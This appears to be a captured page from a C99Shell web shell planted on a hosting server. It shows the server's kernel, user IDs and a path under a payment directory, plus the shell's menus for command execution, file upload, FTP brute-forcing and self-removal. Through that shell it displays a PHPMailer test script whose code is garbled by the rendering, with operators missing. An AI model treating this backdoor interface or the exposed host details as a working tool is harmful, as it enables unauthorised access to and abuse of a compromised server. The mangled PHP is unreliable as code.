!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/pagamento/phpmailer/test/   drwxr-xr-x
Free 182.74 GB of 490.84 GB (37.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     test_callback.php (2.62 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<html>
<head>
    <title>PHPMailer Lite - DKIM and Callback Function test</title>
</head>
<body>

<?php
/* This is a sample callback function for PHPMailer Lite.
 * This callback function will echo the results of PHPMailer processing.
 */

/* Callback (action) function
 *   boolean $result        result of the send action
 *   string  $to            email address of the recipient
 *   string  $cc            cc email addresses
 *   string  $bcc           bcc email addresses
 *   string  $subject       the subject
 *   string  $body          the email body
 * @return boolean
 */
function callbackAction($result$to$cc$bcc$subject$body)
{
    
/*
    this callback example echos the results to the screen - implement to
    post to databases, build CSV log files, etc., with minor changes
    */
    
$to cleanEmails($to'to');
    
$cc cleanEmails($cc[0], 'cc');
    
$bcc cleanEmails($bcc[0], 'cc');
    echo 
$result "\tTo: " $to['Name'] . "\tTo: " $to['Email'] . "\tCc: " $cc['Name'] .
        
"\tCc: " $cc['Email'] . "\tBcc: " $bcc['Name'] . "\tBcc: " $bcc['Email'] .
        
"\t" $subject "\n\n"$body "\n";
    return 
true;
}

require_once 
'../class.phpmailer.php';
$mail = new PHPMailer();

try {
    
$mail->isMail();
    
$mail->setFrom('you@example.com''Your Name');
    
$mail->addAddress('another@example.com''John Doe');
    
$mail->Subject 'PHPMailer Test Subject';
    
$mail->msgHTML(file_get_contents('../examples/contents.html'));
    
// optional - msgHTML will create an alternate automatically
    
$mail->AltBody 'To view the message, please use an HTML compatible email viewer!';
    
$mail->addAttachment('../examples/images/phpmailer.png'); // attachment
    
$mail->addAttachment('../examples/images/phpmailer_mini.png'); // attachment
    
$mail->action_function 'callbackAction';
    
$mail->send();
    echo 
"Message Sent OK</p>\n";
} catch (
phpmailerException $e) {
    echo 
$e->errorMessage(); //Pretty error messages from PHPMailer
} catch (Exception $e) {
    echo 
$e->getMessage(); //Boring error messages from anything else!
}

function 
cleanEmails($str$type)
{
    if (
$type == 'cc') {
        
$addy['Email'] = $str[0];
        
$addy['Name'] = $str[1];
        return 
$addy;
    }
    if (!
strstr($str' <')) {
        
$addy['Name'] = '';
        
$addy['Email'] = $addy;
        return 
$addy;
    }
    
$addyArr explode(' <'$str);
    if (
substr($addyArr[1], -1) == '>') {
        
$addyArr[1] = substr($addyArr[1], 0, -1);
    }
    
$addy['Name'] = $addyArr[0];
    
$addy['Email'] = $addyArr[1];
    
$addy['Email'] = str_replace('@''&#64;'$addy['Email']);
    return 
$addy;
}
?>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0105 ]--